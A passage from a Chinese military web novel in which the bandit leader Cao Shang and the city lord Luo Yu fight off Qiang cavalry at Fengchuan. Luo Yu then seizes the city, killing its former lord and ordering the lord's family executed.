洛羽没有回答,其实接触到现在,曹殇性格的最大缺点是暴躁了些,但好歹能分清一些是非,不算坏到极致,但他做的那些事洛羽确实看不上眼。
“其实我很好奇,大乾朝哪一条律法规定了不能娶寡妇?”
曹殇讥讽道:
“我曹殇有九位妻妾,全都是从别人那儿抢来的寡妇,甚至有人的丈夫就死在我手里。
可我想问一句,这个世道寡妇靠自己一个人能活得下去吗?我要么杀了她们,要么将她们带走,我的选择是给她们一条活路。这些年来我给她们饭吃,照顾她们的孩子,若是任由她们孤身在外流浪,只怕下场会更加凄惨,我也给过她们金银让她们自行离去,可她们不走。
你可以说我无耻、卑鄙,可我曹殇从未逼她们做过任何一件事,哪怕是上床,也得人家心甘情愿!
有些人表面上正义凛然,实际上背地里做尽了恶事,我曹殇敢做敢认,哪里比他们差了?为什么我要背负那么多骂名?”
曹殇的语调逐渐拔高,洛羽的眼神在不断变化,他像是在重新认识一个人。
“这些年我灭了不少家族,所过之处死尸遍地,外人都说我**不眨眼,每次都要将人家满门杀得干干净净。”
曹殇的拳头已经攥紧:
“这个世道,人命如草芥,想要活下去就只能踩着别人的尸体前行,我不**,我这帮兄弟只能饿死。为了活下去,别无他法!
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>可我敢拍着胸脯说,我曹殇灭门的家族个个恶事做尽,屠族是他们自找的报应!”
额头青筋暴涨,曹殇的情绪很激动,过了好一会儿他才轻声道:
“今日前来想求你一件事。”
“求我?”
“我那九位妻妾,以后就麻烦洛城主照顾了?”
“啊,我照顾?”
洛羽直接就懵了,自己又不爱寡妇,这是哪跟哪:“那你呢?”
今天曹殇说的每一句话都出人预料,可以说整个颠覆了他在洛羽心中的形象。
“我?”
曹殇微微一笑:
“我要去凤川了,不是有两千羌骑正在赶来吗?我去会一会他们,此一去怕是就回不来了。
你人不错,没那么假,以后就让我那些妻妾在苍岐城讨口饭吃,不饿死就行。至于饮马镇的马场,也归你了。”
“你要去凤川城迎战!”
洛羽瞳孔骤然一缩,怪不得饮马镇的骑兵倾巢而出。
那可是两千精骑啊,羌兵的战力他很清楚,靠曹殇的兵马绝不是对手。
“是。”
曹殇脸上的笑意更灿烂了:
“去让那些骂我的老百姓瞧瞧,姚家跑了、李家没来,那些地主老爷全都跑了,但我曹殇没跑!”
“为什么?”
洛羽很不理解:
“你之前不是说过,保境安民与你何干?”
那次曹殇亲口对洛羽说,保家卫国是大英雄的事,与他没有半毛钱关系。任何人都有理由迎战羌兵,独独曹殇没理由,换做谁愿意去保护天天骂自己的人?
“我可没说是去保境安民。”
曹殇迈前一步,望向自己的骑兵,朗声高喝:
“我是想让羌兵看看,陇西不全是孬种,也有铁骨铮铮的好男儿!别让人家看扁了!”
曹殇翻上马背,盯着洛羽:
“照顾好我的妻妾,若是亏待了她们,老子做鬼也不会放过你。再给那些娘儿们带句话,下辈子八抬大轿娶她们进门!”
洛羽的心脏狠狠一颤。
“全军上马!”
“轰!”
上千悍卒翻身上马,人人提枪佩刀,目光悍然。
“我们走!”
马蹄轰鸣,上千骑一路远行,义无反顾地赶往凤川城方向。
风沙微微浮动,玄色为底的“洛”字军旗在晚风中烈烈作响。
“好一个曹贼啊。”
洛羽负手而立,目光停留在不断飘动的旗面上,嘴唇轻努:
“起风了。”
第99章倘若再多一些男儿
阳光明媚,空气中带着丝丝燥热,些许微风也不足以吹去盛夏酷暑。
顶着炎炎烈日,凤川城头挤满了人黑压压一片。没有达官显贵、财主老爷,大部分都是舍不得离家的普通人,又或者是想逃也不知道逃往何方的穷苦百姓。
对他们来说凤川就是唯一的根,离了这又能去哪儿?
江殊站在最中央,周围的百姓明显对他抱有敬意。
自从三锅头大卖之后江殊一跃成了凤川城最有钱的富商,他与别的商贾不一样,经常设立粥棚赈灾,宽厚待人,在民间名声不错。
这次达官显贵跑得干干净净,但他没走。
不仅没走,他还号召民夫青壮自发上城防守,准备与羌兵殊死一搏。
所有人的目光都聚焦在城外的骑军身上,人数不多,堪堪千人出头,在风中微微摇曳的“曹”字军旗让许多人满心羞愧。
大敌当前,生死存亡之际,他们的城主跑了,有钱人跑了,来救他们的却是臭名昭著的曹贼,要知道很多人一直在背后痛骂曹殇毫无廉耻。
情何以堪?
千余骑兵簇拥在一起,出自饮马镇的雄壮大马低声嘶鸣,它们也嗅到了一股大战来临的味道。
曹殇拎着一杆**,遥望天际,隐约能看到数不清的飞鸟腾空而起,嘈杂混乱。
“来了。”
“轰隆隆!”
马蹄声骤然而起,数不清的黑点跃出地平线,宛如黑云压城,汹汹而来。
兴奋的吼叫、挥舞的马刀、以及一张张狰狞的面庞让满城百姓脸色惨白。
这么多年来羌兵游骑多次深入内地,烧杀抢掠,六年前羌兵在凤川周围经过,连图九个村落,**无数,他们永远也忘不了尸骸满地的血腥恐怖。
这一次,他们能活下去吗?
羌兵涌现的那一刻,曹家骑兵中出现了细微的骚动,不少士卒的呼吸都急促起来。
勇气是一回事,紧张又是另一回事了。
这些年他们身处阙州境内,撑**见过几十上百的游骑,从未见过如此规模的羌兵冲锋,紧张是本能。
“呸!这就是羌贼吗,也没长三头六臂啊。”
曹殇啐了口唾沫,恶狠狠地喝道:
“饮马镇的兄弟们,让羌贼看看,陇西也有站着撒尿的汉子!”
“给我杀!”
上千骑呼啸而出,吼声阵阵,虽然不如正规骑兵那般阵型齐整,但至少这种勇往无前的气势已经远超寻常边军。
“呦呵,真没想到还有人敢在城外列阵迎敌。”
领军而来的是羌军武将木里扎,嘴角泛起了一抹玩味,他们从云阳关一路深入内地,几乎就没有遇到过抵抗,人挡**、佛挡杀佛。
这一次他可是指望将凤川城屠为平地,再将满城的金银珠宝全部打包带走。
“来都来了,就当给咱们打打牙祭吧。”
木里扎冷笑一声,手掌轻挥:
“迎战!”
“杀!”
两支骑兵在平原上展开了对冲,呼啸声不绝于耳。其实都不讲什么阵型,但羌兵早已习惯骑战,前冲的过程中逐渐开始变阵。
两千骑兵一分为二,绕开了正面战场,人人弯弓搭箭,一波波箭雨当空泼洒。
看似随意的一箭准头却不错,全都落入曹家军阵中,犹如雨幕降临。
“嗖嗖嗖!”
饮马镇的骑兵哪儿见过这种阵仗,第一轮箭雨落下的刹那就有不少士卒中箭坠马,然后被身后的同袍一踩而过,血肉模糊。
一轮接着一轮,伤亡在不断加剧。
“唉。”
江殊眼神黯淡:
“羌兵擅骑射,此言果然不虚啊。”
明眼人都看得出还未交锋,饮马镇就已经尽落下风。
“虽然不敌,但勇气可嘉。倘若我大乾人人如此,何惧羌贼?”
沙哑的嗓音从背后传来,衣衫褴褛的小乞丐不知何时出现在了江殊身后。
“你怎么还没走?”江殊眉头微皱:“不是给了你银子让你逃难去吗?”
“你这么大的家业都没走,我走什么?”
小乞丐眼眸平静:
“凤川城是生我养我的地方,死也得死在这。再说了,今天逃离凤川,明天呢?离开阙州?离开陇西?
天下之大,也没我陇西百姓的安身之所啊。”
“活着总比**好,你的才华,不该埋没。”
“才华?连我自己都瞧不起的书生气罢了。”
小乞丐自嘲一笑:
“百无一用是书生啊,还不如拎着刀上战场。曹殇今天若是败了,咱们就只能一起死。”
“未必。”
江殊喃喃道:
“凤川城不会丢的,还有援手!”
……
一轮轮箭雨不断吞噬着骑兵的性命,羌兵始终游离在战场边缘,并不急于冲锋近战,没有**的饮马镇骑兵在他们看来宛如待宰的羔羊。
“妈的,这一招对老子可不管
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用!”
“驾!”
曹殇猛地一夹马腹,战马骤然提速,最精锐数百骑紧随其后杀出,笔直杀奔右侧的羌骑。
突然的提速确实让羌兵没反应过来,眨眼间两军便近在咫尺。
“给我死!”
曹殇怒吼一声,手掌**横挥而出,重重砸在一名羌兵的胸口,鲜血飞溅。
“杀!”
“当当当!”
“噗嗤噗嗤!”
近战正式开始!
饮马镇骑兵能有今天的凶名不无道理,虽然一开始被箭雨杀伤不少,可近战之后展现出了极为强悍的一面。
人人与羌兵近身肉搏,顶着枪尖刀锋往前冲,惨烈的对拼中不断有死尸倒地,羌兵终于感受到了压力。
“还真有点本事。”
木里扎略显诧异,随即冷喝一声:
“分割,包围!”
羌骑闻令而动,两千骑兵顿时分出数支百人精骑,在战场中横冲直撞,不断分割饮马镇骑兵的阵型。
曹家骑兵悍勇不假,可确实没有大规模骑战的经验,面对羌兵的变阵几乎无能为力,被分割之后只能各自为战,然后一点点陷入颓势。
从清晨杀到正午,城头百姓们的心一点点凉了下去,生的希望渐渐被扑灭。
因为饮马镇骑兵已经彻底被围在了当中,羌兵甚至能留有兵力在外围建起一道包围圈,游刃有余。
以前都说饮马镇凶名赫赫,今日百姓们才见识到野战羌兵有多厉害。
“噗嗤!”
曹殇从骑战变成了步战,坐下战马在刚刚的激烈交锋中被羌兵给捅**。
浑身血污的他持刀而立,脸上并没有恐惧、慌乱,只有一种说不清道不明的悲戚。
身边不断倒地的尸体有很多是跟了他多年的兄弟,前一天还在一起饮酒作乐。
夕阳西下,日暮黄昏
残阳洒落下的余晖让鲜血变得更加妖艳,一具具尸体倒地,生命在这一刻快速流逝。
曹殇惨然一笑:
“倘若陇西三州多一些男儿,也不会落得今日局面吧。”
“隆隆!”
“轰隆隆!”
低沉的马蹄声突然打破了天边的沉寂,在愤怒的吼叫声中显得极为突兀。
曹殇愕然扭头,鹅蛋黄般的残阳刺得他睁不开眼。
隐约间他看到一面军旗跃出了地平线,威武又满带杀气。
龙飞凤舞的大字终于映入了所有人的眼帘:
“洛!”
第100章洛字军旗临凤川
“洛字旗?”
玄色为底的洛字旗让很多百姓都露出了疑惑的目光,凤川城周边有姓洛的世家门阀吗?哪来这么一号人物?莫非是朝廷派来的援军?
“是洛羽,苍岐洛城主!”
终于有脑袋聪明的反应过来了,惊呼出声:
“是洛城主!”
“洛城主救我们来了!”
城头上响起了兴奋的欢呼,当初洛羽斩杀完颜昌的英勇事迹可是传遍三州的,算是阙州人尽皆知的大英雄,只不过他们没想到洛羽会来救他们。
苍岐是苍岐,凤川是凤川,两地隔着八十里,洛羽作为苍岐城主,没理由带兵前来。
血泊中的曹殇眼神错愕,他同样没想到洛羽会来。于情于理洛羽此刻都应该守着苍岐足不出户,所以他才想着让洛羽照料自己的妻妾。
可他来了。
八百战马、八百铁甲。
苍岐骑兵倾巢而出!
黑甲玄旗涌出地平线,滚滚向前。
在短暂的兴奋之后城头上重归宁静,所有人又紧张起来,苍岐兵力还不如饮马镇,曹殇都败了,洛羽真的能打退羌兵、守住凤川城吗?
“哈哈,我就说有援兵吧!”
江殊仰天大笑:“今日凤川城算是保住了!”
“你对他就这么有信心?”小乞丐疑惑道:“你有没有想过,万一云阳关的胜利是侥幸呢?”
“你让我说理由,我说不出来。”
江殊神色认真:
“但我有种感觉,他和所有城主、世家都不一样!只要有他在,凤川一定固若金汤!”
小乞丐很好奇江殊的信任从何而来,只能安静地看向战场,是胜是败很快就会出结果。
天地间似乎安静了许多,唯有马蹄声渐渐响彻云霄。
“披甲骑军?怎么可能!”
全场表情最凝重的当属羌兵主将木里扎了,他很清楚一支披甲骑军的战斗力。
“妈的,从哪儿冒出这么一支骑军!”
“分兵转向,迎战!”
上千羌兵火急火燎地脱离战场,列阵迎敌,曹殇的压力大减。木里扎身为骑军主帅自然顶在了最前面,三百亲兵汹汹而来。
八百骑渐次铺开锋线,百人一排,层层递进,一杆杆混铁**斜指地面,在前冲的过程中不断上举。
其实队伍里有半数是新兵,虽然操练了一个多月可从未见过血,第一次上马作战就是与羌兵正面交锋,许多人不免有些紧张。
开战之前洛羽没有说什么大话空话,只告诉全军上下一句:
跟着军旗,向前!
至于其他的洛羽并不想多说,该练的骑术、枪法、号令、阵型天天在练,萧少游还进行过多次考核,每次都不过关的士卒直接剔除军伍。
这些新兵唯一缺少的就是鲜血磨炼。
“洛”字旗高举阵前,全军前冲。
“驾!”
洛羽一马当先,挺枪向前,仰**吼:
“怯懦苟活,不如死战求生!”
枪出如龙,锋利的枪尖率先洞穿了一名羌骑的胸膛,厚重的死尸像断了线的风筝往人群中一砸,人仰马翻。
“死战求生!”
“杀!”
八百骑悍然凿阵!
第一排锋线乃是洛羽的亲兵旗,正好一百人,许韦的身影赫然在列。
亲兵旗的选拔极为严格,基本上都是老兵,许韦一个初入军伍的农家汉硬是在一次次操练考核中赢得了小伍的赏识,破格进入亲兵旗。
奔腾的战马、飞溅的泥土,近在咫尺的羌兵让他呼吸急促,握住枪杆的右手早已青筋暴露。
“不要怕不要怕,羌兵也是人!”
像是在给自己打气,临阵的那一刻许韦鼓足浑身的力气猛然出枪,用怒吼缓解心头的紧张:
“杀!”
“噗嗤!”
雄浑有力的一枪直接挡开了羌兵手中的弯刀,毫无阻碍地就刺入了胸膛,飞溅而出的鲜血让许韦愣了一下。
这么轻松?
有这样想法的不止许韦一人,随着一排排锋线杀入战场,很多新兵也发现了同样的问题。只要按照日常操练的去战斗,羌兵在枪尖之下照样是一捅一个窟窿。
并没有传闻中那么可怕!
“杀!”
见血之后所有新兵都不再畏惧,**迭出,一枪枪捅杀着对面的羌骑,身上的甲胄也展现出了惊人的防御力,羌兵弯刀若是轻轻划过根本无法对他们造成伤害,只会轻轻带起一道火星子。
甲胄占优、士气又高,一轮冲锋下来羌兵前锋竟然有
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些许崩溃的迹象。
“怎么可能!”
木里扎目光大变,随即面目狰狞地冲向军旗之下的洛羽:
“让本将看看,何人如此张狂!”
“苍岐,洛羽!”
洛羽面如冰山,枪尖从下往上一记斜挑刺向木里扎的咽喉,快如迅雷。
“当!”
“你就是洛羽!”
木里扎险之又险地避开这一枪,目光中更多的是震惊。洛羽杀了完颜昌,在前线羌军中的名声不可谓不响,没想到今天被自己撞见了。
“认出来了?那就再送你一枪!”
洛羽双手握枪,一记俯劈,狞笑着将枪杆砸向木里扎的脑袋。
“当!”
木里扎抬枪一挡,双臂猛地下沉,被强劲的力道震得发麻,眼中已然多出一丝慌乱。
洛羽又加了几分力,枪杆死死压在木里扎的肩上,他都快觉得呼吸不过来了,只能用尽浑身力气去防守。
完颜昌的战斗力本就强过他许多,自己哪会是洛羽的对手?再加上四周传来的惨叫声令他越发慌乱,他突然发现自己的兵马竟然不是洛羽的对手,这批骑兵怎得如此厉害?
“你分心了。”
洛羽的冷喝声突然响起:“那就得死!”
手中**还被洛羽压着,反手就是一柄刀锋滑向了自己的咽喉,锋利的寒芒在木里扎惊恐的眼神中不断放大:
“不要!”
“噗嗤!”
仅仅两招,木里扎的人头便滚落在地,全场为之一静。
“杀!”
主将**,羌兵一阵骚乱,苍岐却士气大振,人人奋勇,羌兵的包围圈几乎在顷刻间四分五裂。
曹殇以及手下的骑兵呆若木鸡,眼睁睁地看着两军交战,木里扎被一枪捅死,又眼睁睁地看着苍岐兵冲散包围圈,打得羌兵四散而逃。
同样是骑兵,差距这么大吗?
曹殇还没回过神来,洛羽就单枪匹马地停在他面前,冷冷的说了一句:
“自己的女人自己照顾,别丢给我!”
一语言罢,洛羽提起血淋淋的**又准备杀进战场,可曹殇还傻傻地站在原地。
“尼玛的愣着干什么,还没赢呢!”
洛羽破口大骂:
“上马,杀敌啊!”
第101章凤川城归你了
日初清晨,空气依旧是那么燥热,但多了些许血腥味。
横七竖八的尸体倒在战场上,还有失去主人的战马在孤零零地奔跑,历经一夜,凤川城的战斗总算是结束了。
随着主将战死,羌兵军心涣散,再加上苍岐军与曹家军联手杀敌,奋勇向前,羌兵不敌,最终退去。
凤川城守住了。
曹殇坐在血泊中,一夜的厮杀令他精疲力尽,连握刀的力气都没了,洛羽穿过人群坐在他身旁:
“抱歉,要布置城内的防守、还要动员骑兵,来得晚了些。”
“这有什么好抱歉的,你本就不该来。”
曹殇摇了摇头:“你是苍岐城主,保住苍岐才是头等要务,凤川城与你无关。”
“不。”洛羽也摇头:
“都是阙州百姓,那便与我,与我们有关。”
“到底是我看走了眼啊,洛城主确实是英雄,该出手时就出手。”
曹殇望着正在打扫战场的军卒有些羡慕:
“你这些兄弟真不错,敢打敢杀,这么多年我头一次见到能与羌兵正面抗衡的骑兵。
我服。”
“那我得多谢曹首领的夸奖了。”
洛羽笑了笑,以曹殇的性子能说出我服两个字,那真是心服口服。
曹殇自嘲一笑:“以前我总觉得自己是顶天立地的汉子,谁我都瞧不上眼,但这一战让我明白,我陇西亦有男儿,你洛羽确实是英雄,比我强了太多。”
“我不是英雄。”洛羽默然:
“天下大乱,民如刍狗,你我只不过是为了活下去而拼尽全力的可怜人罢了。”
“是啊,这个世道,得拼尽全力才能活下去。”
曹殇像是在自言自语:
“何时才能换一番天地。”
这句话让洛羽眼眸闪烁,心中似有触动。
远处的凤川城门突然大开,数不清的百姓从城内涌出,血肉模糊的场面令他们脸色发白,但他们来到战场附近,密密麻麻全都跪伏在地。
士兵们愣住了,这是做什么?
为首的是一名白发苍苍的老人,在城中是德高望重之辈,颤颤巍巍地说道:
“凤川城百姓谢过洛城主,谢过曹首领,谢过众位军爷的救命之恩!”
“老人家,您这是做什么。”
洛羽赶忙走上前扶起老人:“快快请起,我等当不得如此大礼。”
“你们救了满城百姓的命,理应受我等一拜!”
百姓们重重地磕了一个头,弄得一群军卒不知所措,洛羽费了好大的力气才把老人从地上拉起来。
老人红着眼睛说道:
“洛城主,曹首领,你们是凤川城的恩人,是我们的再生父母。今日我等百姓有一事相求!”
“您老但讲无妨。”
洛羽沉声道:“只要我能做到的,一定尽力去做。”
“姚林此人只顾私利,不顾百姓,坐守凤川城多年从未管过百姓的死活,早已惹得属地内怨声载道,此次大敌当前,他不思保境安民,却带领军卒逃亡,将凤川城拱手让给羌兵,致满城百姓于不顾。
如此城主,哪里值得我等效命?
我等不愿再听从姚家号令,恳请洛城主与曹首领留在凤川,为民做主,日后你们就是凤川的城主!”
“我们留在凤川?”
洛羽愕然,他来救苍岐只是单纯地想要击退羌兵,从未想过趁着这个机会占领全城。
“唯有您二位在凤川,咱们这些老百姓才能安心。”
老人眼眶通红,恭恭敬敬地弯下了腰肢:
“就当是可怜满城父老乡亲,求二位留在凤川!”
“好!我答应了!”
曹殇大手一挥,毫不犹豫地点头同意,然后伸手指着洛羽:
“不过留下来的不是我,而是他!”
洛羽愕然:“你要走?”
“嗯。”
曹殇翻身上马:
“我没那个治理城池的本事,还是饮马镇适合我,自由自在。你就不一样了,本来就有一座苍岐,也不多一座凤川。
从今以后,凤川城就是你的了!”
……
洛羽连同八百骑兵真的留在了凤川,倒不是说苍岐不要了,而是凤川刚刚经历过一场骚乱,姚家又弃城而走,确实需要人维持城中秩序。
听雨楼顶层的包房里,洛羽凭栏而望,街道上依旧看不见几个百姓,人人行色匆匆,羌兵入境带来的恐慌还未散去。
江殊轻声道:
“凤川城是个好地方,勾连定州、阙州,往来经商要道,一年能赚很多银子,有了银子你就能招兵买马,扩充实力。
占了这,你绝对不亏。”
“我也这么想。”
萧少游沉声道:“苍岐城毕竟建在山里,人口规模很难赶超凤川。咱们完全可以以苍岐为主,凤川城为支点,逐步向外扩张。”
“你们说的我都明白,所以我并不反对接手凤川。”
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洛羽双手抱胸,当了这么久的苍岐城主让他明白一件事,在陇西这个地界就是弱肉强食,实力越大越好,如果你弱小,那早晚有一天会被别人吃掉。
“咱们唯一要担心的就是姚家。”
江殊目光微凝:
“姚家毕竟年年给李家上供,寻求庇护,他是李家指定的凤川城主,我们就这么占了凤川,会不会惹来麻烦?”
“城主!”
小伍恰在此时走了进来:“姚林府上的老管家来了。”
“噢?”
洛羽轻笑一声:“还真是说曹操曹操就到啊。”
萧少游与江殊同时一愣:
“曹操是谁?”
“额,没谁。”
洛羽大手一挥:“叫进来吧。”
少倾,白发苍苍的老管家走进了屋中,客气地弯腰行礼:
“小人见过洛城主。”
“说吧,有什么事?”
“咳咳。”
老管家明显有些畏惧,小心翼翼地说道:
“我家主人问,洛城主何时离开凤川?”
以前洛羽就杀了完颜昌,这一次又在凤川城外大败羌兵,威名日盛,谁不怕?
“离开凤川?我为什么要离开凤川?”洛羽反问道:“我记得姚城主不是自己走的吗,按理说凤川现在应该算无主之城才对。”
“我家主人只是暂时离开,这两天就打算回来。”
老管家犹豫再三说道:
“我家城主的意思是,您休整得差不多了便可以返回苍岐了。”
“噢?我什么时候回苍岐似乎轮不到姚林管吧?”
“那个,李家会派人随我家主人一起回来,所以……”
洛羽饶有趣味地翘起了二郎腿:
“怎么,你是在拿李家压我?”
“不不不,老奴不敢。”
老管家一哆嗦,连连摇头:“只是陈述事实而已。”
“你走吧,你还没资格跟我谈。”
洛羽漫不经心地说道:
“告诉姚林,等他回了凤川我就把城池还给他,我就在这里等他。”
如此讥讽的语气令老管家面色一僵,但他很清楚如今的洛羽今非昔比了,只能弯腰告辞。
江殊皱眉道:
“看来姚林不傻,已经联系了李家,这下事情就不太好弄了,难道你真要把凤川还给他?”
“呵呵。”
洛羽的嘴角勾起一抹玩味:
“是他自己放弃了凤川,再想要回来可就难了!”
第102章给你个机会,重新说
姚林回来了,带着手中仅剩的八百兵丁回到了凤川城。
可离城门老远他就察觉到不对劲了,凤川城大门紧闭,官道上也没有百姓往来,完全不像是要交接城池的样子。
一面“洛”字军旗插在城头上缓缓飘扬,让姚林既恨又愁:
“李老,只怕洛羽没那么容易交出凤川城啊。您瞧瞧,连城门都没开。”
姚林身旁有一名老者,两鬓微白,干枯的脸颊上满是皱纹,身穿锦衣,一脸的倨傲之意。
李庭,李府的老管家之一,他可不是什么外姓家臣,而是纯正的李姓血脉,在府中地位不低。
这次姚林担心洛羽不肯离开凤川,去李家用银子敲门,到处攀关系,好不容易请出李庭给他撑腰,毕竟以他的地位还没资格让李家家主亲自出面。
李庭漫不经心的瞄了一眼洛字旗,不屑地撇撇嘴:
“虽说最近他的名头颇响,但说到底还是一个毛头小子罢了,我李家还没把他放在眼里。苍岐算什么鸟不拉屎的地方,凭他也想染指凤川?”
“李老前辈,您可莫要小瞧此人啊。”
姚林苦着脸说道:“别看这小子年纪轻轻,可手段狠辣、诡计多端,我在他手里吃了不少亏。”
短短两个月的时间,姚林对洛羽的看法已经有了一百八十度大转变,丝毫不敢带有轻视之意。再加上这次洛羽大败羌军,导致姚林根本没胆子与其正面开战,只能找李家来站台。
“姚城主,你好歹也在凤川城混了这么多年,怎得还怕一个年轻人?”
李庭眉头微皱,有些鄙夷:“放心,这次我李家出面,定让你踏踏实实拿回凤川。”
“如此甚好,全靠您老了。”姚林一脸谄媚:“事成之后,在下必有重谢!”
脸上笑,心里骂,这个老东西可没少坑他银子。
李庭这才露出了满意的笑容,轻扯缰绳:
“先入城,咱们看看他想耍什么花样。”
“嗖!”
马蹄刚往前迈了一步,一支利箭就从城头射落,稳稳地**黄泥,溅起一片尘土。马匹受惊,胡乱扑腾,差点把李庭掀翻在地。
城头上陡然响起了朗喝声:
“城外何人!未经通报擅自靠近凤川城,杀无赦!”
“混账,此人想干什么!”李庭狼狈不堪,愤然大骂:“为何朝我们放箭!去喊话,通报身份!”
身后士卒这才扯着嗓子喝道:
“凤川城主姚林在此,速速开门!”
片刻的沉寂之后城门真的开了,但并没有放他们入城的意思,而是有一支骑军疾驰而出,领头那人姚林再熟悉不过了:
洛羽!
洛羽很客气地抱拳道:“呵呵,原来是姚城主,好久不见,近来可好?”
“你就是洛羽?”
还不等姚林开口,李庭就怒气冲冲地质问道:
“为何朝我等放箭!”
洛羽目露好奇:“敢问您老是?”
“李家,李庭!洛城主该不会是想射杀老夫吧?”
“原来是李老前辈,失敬失敬。”
一听李家的名头洛羽赶忙行礼:“抱歉,最近羌贼入侵,时有战事发生,凤川城一直处于戒备之中,或许是城头守军紧张,手抖放了一箭。
姚城主,你说说你也不打个旗号,差点将你们当成了羌贼,若是伤了李老前辈这可如何是好。”
姚林与李庭的鼻子都快气歪了,洛羽分明是诡辩,却又让他们无可奈何。
“罢了罢了,此事先不提。”
李庭烦躁地摆了摆手:
“洛城主,你何时离开凤川?”
“离开凤川?”
洛羽好奇道:“我为何要离开凤川?”
姚林冷声道:“洛城主,凤川可是我的地盘,难不成你还想一直霸占?”
“你的地盘?似乎不对吧?”
洛羽皱起眉头:
“我怎么记得几天前羌兵进攻凤川的时候这里是无主之城,你不是带着家眷军卒离开了吗,我还以为姚城主找到了更好的去处,奔前程去了。”
“那不过是有事外出!今日我回来就是要接管凤川,洛城主,请你把凤川城还给我。”
嘴上说着请字,但姚林的眼神中满是怨毒。
“这话说得就不对了。”
洛羽微微摇头:“我是从羌兵手里夺回的凤川,何来还给你一说?况且我留在凤川可是满城百姓**,是他们恳求我接管凤川城。
姚城主若是不信,大可以去城中问问。”
“你!”
姚林一时气急,他算是看出来了,洛羽根本就没打算交出凤川城。
“洛城主,你该不会是想强占凤川吧?”
李庭终于开口了,冷冷地说道:“姚城主耕耘凤川多年,阙州人尽皆知,况且多年来一直给我李家交税。
你就这么霸占了,于
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情于理都说不通吧?”
“李老此言晚辈不理解。”
洛羽平静地说道:“既然姚林是凤川城主,那为何羌兵来袭时他没有死守城池,护卫全城百姓,反而将凤川城拱手让给羌人,置全城百姓的生死于不顾?
若您老是城中百姓,希望这样的人当城主吗?
我苍岐兵马倾巢而出,血战羌贼,好不容易才保住凤川不受战火袭扰。
现在仗打赢了,羌兵退了,他立马就回来接管城池,天下哪有这般道理?”
“洛城主,老夫来可不是和你讲道理的。”
李庭面色不悦:
“我知道,你与姚城主一向有怨,今日我李家就当个和事佬。
这次大战,苍岐兵马的损失姚城主会赠以金银财宝,权当补偿。你带兵撤出凤川,城归原主。
大家化干戈为玉帛,岂不美哉?”
“呵呵,权当谢意?”
洛羽微微一笑:“那我要是不同意呢?”
“洛羽,你休要放肆!李老前辈在此,还轮不到你嚣张!姚家的面子你可以不给,难道李家的面子你也不给吗!”
姚林怒骂出声,他也算聪明,一开口就扯上李家做大旗。
“洛城主,我劝你掂量清楚再说话。”
李庭的目光终于冷了下来:“这里是阙州,可没人敢对李家不敬。”
“这么说李家现在是要替姚家撑腰了?”
“没错!”
李庭恶狠狠的说道:
“老夫将话放在这里,只要姚城主还活着一天,凤川城就是他的,你若是想强占,就等着承受我李家的怒火吧!”
“哼哼。”
姚林得意地挑了挑眉,他不信洛羽敢得罪李家。
洛羽没来由地指向城头:“姚城主,你看到那面洛字旗了吗?”
“看到了?怎么了?”
姚林下意识地看向城头,满腹狐疑,好端端的看旗干什么。
“再仔细看看。”
姚林又看了一眼,突然隐约看见军旗之下有一道身影正在弯弓搭箭,刹那间浑身汗**竖起。
“嗖!”
一支利箭当空射落,稳准狠地洞穿了姚林的头颅,连一声惨叫都没有就变成了地上的一具死尸。
鲜血溅了李庭一脸,老人被吓傻了,呆若木鸡。
洛羽轻扯缰绳,往前一步,盯着李庭的眼眸:
“现在他**,给你个机会,重新说。”
第103章请你们家公子喝酒
鲜血淋漓的死尸让姚家兵马一阵骚动,八百牙兵全都傻眼了,城主就这么被人杀了?
他们现在该怎么办?冲上去将洛羽乱刀**替姚林报仇,还是装作没看见,眼前这位爷可是多次击败羌兵的狠人啊。
但是从后方迅速涌出的五百披甲骑军让他们瞬间做出了抉择,个个老实起来,一动不动。
得,已经被人包围了。
五百精锐,人人手握**,几天前他们在这痛击两千羌骑尚能战而胜之,姚家的牙兵在他们眼里宛如土鸡瓦狗。
就连姚林提拔的心腹死忠都缩起了脑袋,不敢动弹一下。
“疯了,你疯了。”
满脸的鲜血吓傻了李庭,老人哆哆嗦嗦地伸出手:
“你敢杀他,莫非你想和李家开战不成。”
这么多年他在阙州飞扬跋扈惯了,从未见过有人敢如此不给李家面子,竟然当面**。
赤裸裸的挑衅啊。
“嗖!”
又是一箭飞落,笔直地没入姚林的胸口,死尸一颤,又溅出几滴血。
“再敢指着我,下一箭会插在你头上,信吗?”
洛羽冰冷的语气终于让李庭心底生出一丝畏惧,下意识地收回手掌,还瞄了一眼城头,生怕下一箭就飞向自己的脑袋。
“洛,洛城主。”
李庭咽了口唾沫,语气中总算没了那分倨傲:
“姚林对您不敬,他死有余辜,可姚家年年给李家上缴田赋,您就这么杀了小人回去怎么交待?
临行前大公子还特地关照过要帮姚林拿回凤川,现在人**,只怕大公子……”
前一刻还在替姚林撑腰,下一刻就成了死有余辜,恐惧果然能改变一个人。
“人是我杀的,与你无关,你回去也不用交待什么,只需要帮我带一句话。”
洛羽冷冷的说道:
“就说我请你们大公子来凤川喝酒!”
……
李庭走了,带着洛羽的话走了,至于姚家那些家眷、军卒全都成了俘虏。
凤川城头,洛羽注目远眺
有消息说在境内游弋的羌兵基本上都撤回云阳关了,所以百姓们又开始过起自己的小日子。城内车水马龙、人流如潮的景象正在渐渐恢复,光看繁华程度远超苍岐。
如此一座大城,谁不想拥有?
“杀了姚林简单,但如何应付李家才是最要紧的。”
萧少游淡淡的说道:
“李家大公子李玄冰可不是好惹的人物,据说此人手腕狠辣,城府极深,与君墨竹并称陇西四公子之一。
如今李家家主年迈,府中事务基本上都是李玄冰在管,咱们杀了姚林相当于扇了李家一巴掌,他绝不会善罢甘休的。”
“陇西四公子?”
第一次听到这个称谓的洛羽面色凝重:
“能与君墨竹齐名,自然不会是庸碌之辈。
但姚林活着,咱们就占不了凤川,跟这种人讲道理是讲不通的,他们只认拳头。
谁的拳头硬,谁就说了算!”
“那李家那边你打算怎么办?”
“跟他好好谈谈。”
洛羽平静地说道:
“谈得拢就谈,谈不拢只能打!”
平淡的语气中带着一丝狠厉,放眼整个阙州,谁敢言与李家开战?
“你是城主你说了算,李家的刀未必有我们锋利。”
萧少游没有丝毫的畏惧,这一路走来,遇到的困难还少吗?
“姚家那些牙兵怎么办?现在可全关在军营里呢。”
“放了啊,难不成白给他们饭吃?愿意留军的青壮可以留下,军饷、待遇肯定比姚林给得多,但是奸滑小人、老弱病残一概不要。”
这些牙兵都是凤川本地人,跟着姚林也不过是为了混口饭吃,洛羽并不介意从里面挑选军卒扩充兵力。
“那姚林的家眷呢,还有那些姚家族人?”
“全都杀了吧。”
洛羽顿了一下,转身下城:
“斩草不除根,贻患无穷。”
……
听雨楼
